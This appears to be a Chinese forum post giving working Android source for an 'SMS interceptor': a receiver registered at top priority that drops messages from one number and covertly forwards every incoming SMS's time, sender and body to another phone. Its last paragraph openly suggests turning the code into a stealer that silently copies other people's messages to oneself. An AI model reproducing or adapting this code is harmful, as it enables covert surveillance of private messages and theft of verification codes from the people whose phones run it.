| 
 | 
 
下面是网友vnplalvyulin 为178折社区写的一个Android短信拦截器代码,在这个拦截器中,一共通过两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。 
 
下面我附上自己做的这个拦截器的代码供大家参考。 
main.xml layout - <?xml version="1.0" encoding="utf-8"?> 
 
 - <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 
 
 - android:orientation="vertical" 
 
 - android:layout_width="fill_parent" 
 
 - android:layout_height="fill_parent" 
 
 - > 
 
 - <Button 
 
 - android:layout_width="fill_parent" 
 
 - android:layout_height="wrap_content" 
 
 - android:text="注册拦截" 
 
 - android:onClick="regiset" 
 
 - /> 
 
 - <Button 
 
 - android:layout_width="fill_parent" 
 
 - android:layout_height="wrap_content" 
 
 - android:text="解注册拦截" 
 
 - android:onClick="unregiset" 
 
 - /> 
 
 - </LinearLayout> 
 
  复制代码 首页显示的SmsListenerActivity: - package com.tk178zhe.android.SmsListener; 
 
  
- import android.app.Activity; 
 
 - import android.content.IntentFilter; 
 
 - import android.os.Bundle; 
 
 - import android.view.View; 
 
 - import android.widget.Toast; 
 
  
- public class SmsListenerActivity extends Activity { 
 
 - private SmsRecevier recevier; 
 
 - private boolean isregiset = false; 
 
 - private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; 
 
  
- @Override 
 
 - public void onCreate(Bundle savedInstanceState) { 
 
 - super.onCreate(savedInstanceState); 
 
 - setContentView(R.layout.main); 
 
 - recevier = new SmsRecevier(); 
 
 - } 
 
 - public void regiset(View v) { 
 
 - IntentFilter filter = new IntentFilter(ACTION); 
 
 - filter.setPriority(1000);//设置优先级最大 
 
 - registerReceiver(recevier, filter); 
 
 - isregiset = true; 
 
 - Toast.makeText(this, "注册成功", 0).show(); 
 
 - } 
 
  
- public void unregiset(View v) { 
 
 - if (recevier != null && isregiset) { 
 
 - unregisterReceiver(recevier); 
 
 - isregiset = false; 
 
 - Toast.makeText(this, "解注册成功", 0).show(); 
 
 - } else 
 
 - Toast.makeText(this, "尚未注册", 0).show(); 
 
 - } 
 
 - @Override 
 
 - protected void onDestroy() { 
 
 - super.onDestroy(); 
 
 - if (recevier != null && isregiset) { 
 
 - unregisterReceiver(recevier); 
 
 - isregiset = false; 
 
 - Toast.makeText(this, "解注册成功", 0).show(); 
 
 - } 
 
 - } 
 
 - } 
 
  复制代码 如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。  
AndroidManifest.xml:- <?xml version="1.0" encoding="utf-8"?> 
 
 - <manifest xmlns:android="http://schemas.android.com/apk/res/android" 
 
 - package="com.tk178zhe.android.SmsListener" 
 
 - android:versionCode="1" 
 
 - android:versionName="1.0"> 
 
 - <uses-sdk android:minSdkVersion="8" /> 
 
  
- <application android:icon="@drawable/icon" android:label="@string/app_name"> 
 
 - <activity android:name=".SmsListenerActivity" 
 
 - android:label="@string/app_name"> 
 
 - <intent-filter> 
 
 - <action android:name="android.intent.action.MAIN" /> 
 
 - <category android:name="android.intent.category.LAUNCHER" /> 
 
 - </intent-filter> 
 
 - </activity> 
 
 - <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做 
 
 - <receiver android:name=".SmsRecevier"> 
 
 - <intent-filter android:priority="1000"> 将优先级设到最大 
 
 - <action android:name="android.provider.Telephony.SMS_RECEIVED" /> 
 
 - </intent-filter> 
 
 - </receiver> 
 
 - --> 
 
 - </application> 
 
 - <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> 
 
 - <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 --> 
 
 - <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 
 
 - </manifest> 
 
  复制代码 SmsRecevier类用作拦截信息。- package com.tk178zhe.android.android; 
 
  
- import java.text.SimpleDateFormat; 
 
 - import java.util.Date; 
 
  
- import android.content.BroadcastReceiver; 
 
 - import android.content.Context; 
 
 - import android.content.Intent; 
 
 - import android.telephony.SmsManager; 
 
 - import android.telephony.SmsMessage; 
 
 - import android.util.Log; 
 
  
- public class SmsRecevier extends BroadcastReceiver { 
 
 - public SmsRecevier() { 
 
 - Log.v("TAG", "SmsRecevier create"); 
 
 - } 
 
  
- @Override 
 
 - public void onReceive(Context context, Intent intent) { 
 
 - Log.v("TAG", "SmsRecevier onReceive"); 
 
 - Object[] pdus = (Object[]) intent.getExtras().get("pdus"); 
 
 - if (pdus != null && pdus.length > 0) { 
 
 - SmsMessage[] messages = new SmsMessage[pdus.length]; 
 
 - for (int i = 0; i < pdus.length; i++) { 
 
 - byte[] pdu = (byte[]) pdus[i]; 
 
 - messages[i] = SmsMessage.createFromPdu(pdu); 
 
 - } 
 
 - for (SmsMessage message : messages) { 
 
 - String content = message.getMessageBody();// 得到短信内容 
 
 - String sender = message.getOriginatingAddress();// 得到发信息的号码 
 
 - if (sender.equals("110")) { 
 
 - abortBroadcast();// 中止发送 
 
 - Log.e("TAG", "此号码为黑名单号码,已拦截!"); 
 
 - } 
 
 - Date date = new Date(message.getTimestampMillis()); 
 
 - SimpleDateFormat format = new SimpleDateFormat( 
 
 - "yyyy-MM-dd HH:mm:ss"); 
 
 - String sendContent = format.format(date) + ":" + sender + "--" 
 
 - + content; 
 
 - SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 
 
 - smsManager.sendTextMessage("", null, sendContent, null, 
 
 - null);// 转发给 
 
 - Log.v("TAG", sendContent); 
 
 - } 
 
 - } 
 
 - } 
 
 - } 
 
  复制代码 这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了 
 |   
 
 
 
 |